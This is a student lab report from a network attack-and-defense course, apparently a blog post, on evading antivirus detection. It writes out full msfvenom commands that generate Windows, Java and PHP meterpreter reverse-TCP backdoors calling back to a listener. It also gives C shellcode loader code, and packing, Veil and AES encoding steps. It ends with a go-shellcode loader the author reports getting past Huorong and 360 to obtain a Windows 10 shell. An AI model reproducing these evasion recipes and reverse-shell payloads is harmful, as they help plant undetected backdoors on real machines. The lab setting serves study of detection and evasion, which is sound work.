• 175210闵天 《网络对抗技术》Exp3 免杀原理与实践


    预备工作

    veil 安装

    我怕麻烦,直接在 docker 上跑了

    docker pull mattiasohlsson/veil
    
    docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
    

    火绒安装

    • 版本:5.0.41.6

    • 病毒库 4.2 日更新

    实验内容

    1-1、正确使用msf编码器

    先看看参数有哪些

    Options:
        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
            --payload-options            List the payload's standard options # 列出指定 Payload 的标准可选配置项
        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
        -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
        -f, --format        <format>     Output format (use --help-formats for a list) # 指定 Payload 的输出格式
            --help-formats               List available formats # 列出所有可用的输出格式
        -e, --encoder       <encoder>    The encoder to use # 指定使用的 Encoder
        -a, --arch          <arch>       The architecture to use # 指定目标系统架构
            --platform      <platform>   The platform of the payload # 指定目标系统平台
            --help-platforms             List available platforms # 列出可用的平台
        -s, --space         <length>     The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
        -b, --bad-chars     <list>       The list of characters to avoid example: 'x00xff' # 设置需要在 Payload 中避免出现的字符
        -i, --iterations    <count>      The number of times to encode the payload # 设置 Payload 的编码次数
        -c, --add-code      <path>       Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
        -x, --template      <path>       Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
        -k, --keep                       Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
        -o, --out           <path>       Save the payload # 保存 Payload 到文件
        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # 指定一个变量名
            --smallest                   Generate the smallest possible payload # 尽可能生成最短的 Payload
        -h, --help                       Show this message # 帮助
    

    输入 msfvenom -l encoders 查看编码器有哪些

    选择 x86/shikata_ga_nai,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe > 5210_backdoor.exe

    virustotal检测一下,效果很不理想

    上述规则编码10次。使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe -i 10 -b 'x00' > 5210_backdoor.exe

    然而效果更差了

    结论

    如果想要使用msfvenom免杀,就要使用原生的编码模板
    

    1-2、msfvenom生成如jar之类的其他文件

    (1) 生成 jar 文件

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 175210_backdoor.jar

    (2) 生成 php 文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 5210_backdoor.php

    看起来还不错,但移到宿主机的时候,火绒直接报毒了

    1-3、使用 Veil

    使用如下命令进入veil(详见预备工作)

    docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
    

    输入 use evasion 命令进入 veil-evasionlist payload 查看有哪些payload

    使用 go 语言生成 payload( 注意我将 docker 中 veil 的输出路径映射到宿主机的 /tmp/veil-output )

    use 16 
    set LHOST = 192.168.131.129 
    set LPORT = 5211
    generate
    

    VT查杀率46/70,火绒也直接查杀了。Veil 的效果并不好,而且我看它三年没更新库了……

    1-4 使用 C + shellcode 编程

    (1) Linux平台交叉编译Windows应用

    生成 shellcode

    msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.131.129 lport=9999  -f c -o shell.c
    

    函数指针执行法

    #include <stdio.h>
    #include <stdlib.h>
    
    unsigned char buf[] = 
    ...
    
    int main(){
        int (*func)() = (int(*)())buf;
        func();
    }
    

    编译

    i686-w64-mingw32-g++ shell.c -o mt.exe
    

    毫无悬念地被火绒查杀了

    (2) VisualStudio编译Windows应用

    visual studio 2019 中新建项目,cpp 文件内容如下

    #include <windows.h>
    #include <winbase.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    const char met[] =
    ....
    
    int main()
    {
    	DWORD old = 0;
    	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
    	INT32 * addr;
    	addr =(INT32*) &met;
    
    	__asm;
    	{
    		call addr;
    	}
    	return 0;
    }
    
    

    刚运行就被火绒查杀了

    我看到一篇3月10号的文章,说利用 强制类型转换 可以实现免杀,试了试,代码如下

    想法很巧妙,但运行一会就被火绒查杀了……

    1-5 加壳工具

    • 从技术上分壳分为:
      • 压缩壳

        减少应用体积,如ASPack,UPX

      • 加密壳

        版权保护,反跟踪。如ASProtect,Armadillo

      • 虚拟机

        通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

    (1) 压缩壳UPX

    给上面的 mt.exe 加个壳

    upx mt.exe -o mt.upxed.exe
    


    一点用都没有

    (2) 加密壳Hyperion

    使用以下指令

    sudo wine /usr/share/windows-resources/hyperion/hyperion.exe -v mt.exe mt.hypered.exe
    

    没用的,被火绒查杀

    1-6 使用其他课堂未介绍方法

    (1) XOR/AES 编码 c# + shellcode(失败)

    msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.131.129 lport=999  -f raw > shellcode.raw
    
    • AES 加密处理
    ./shellcode_encoder.py -cpp -cs -py ~/shellcode.raw bjdzmt1752 aes
    

    • visual studio 2019 编译运行

      结果被火绒秒杀

    2-1 通过组合应用各种技术实现恶意代码免杀

    使用 go-shellcode 加载器(成功!火绒,360未能检测)

    • 需要先下载加载器:https://github.com/brimstone/go-shellcode

    • 下载后,进入 go-shellcodecmdsc 目录,执行 go build,生成sc.exe

    • 然后用msfvenom生成hex格式的shellcode

      msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.131.129 LPORT=9999
      

    • 使用sc加载器进行加载

      sc 'your shellcode'

      如图

    • 成功与火绒共存

    2-2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 杀软版本:火绒 5.0.41.6,病毒库 4.3 日更新

    • 使用 2-1 中的方法

    • msf 成功获得 windows 10 shell

    实验总结

    基础问题回答

    (1) 杀软是如何检测出恶意代码的?

    • 基于特征码的检测
    • 启发式恶意软件检测
    • 基于行为的恶意软件检测

    (2) 免杀是做什么?

    • 免杀就是让安插的后门不被AV软件发现

    (3) 免杀的基本方法有哪些?

    • 改变特征码

      • 如果你手里只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为

      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

    实验总结和体会

    • 病毒库更新的太快了,3月7日还可以用的方法现在已经不能用了

    • 做免杀不能想当然,并不是方法叠加的越多越好

    开启杀软能绝对防止电脑中恶意代码吗?

    不能,这次实验已经证明。

  • 相关阅读:
    vue中封装公共方法,全局使用
    element-ui table 最后一行合计,单元格合并
    vuex 进行封装
    vue生命周期
    (转)no terminal library found
    解压
    (转)bash: make: command not found
    (转)linux 批量删除文件命令
    python
    Session
  • 原文地址:https://www.cnblogs.com/mtzf/p/12628648.html
Copyright © 2020-2023  润新知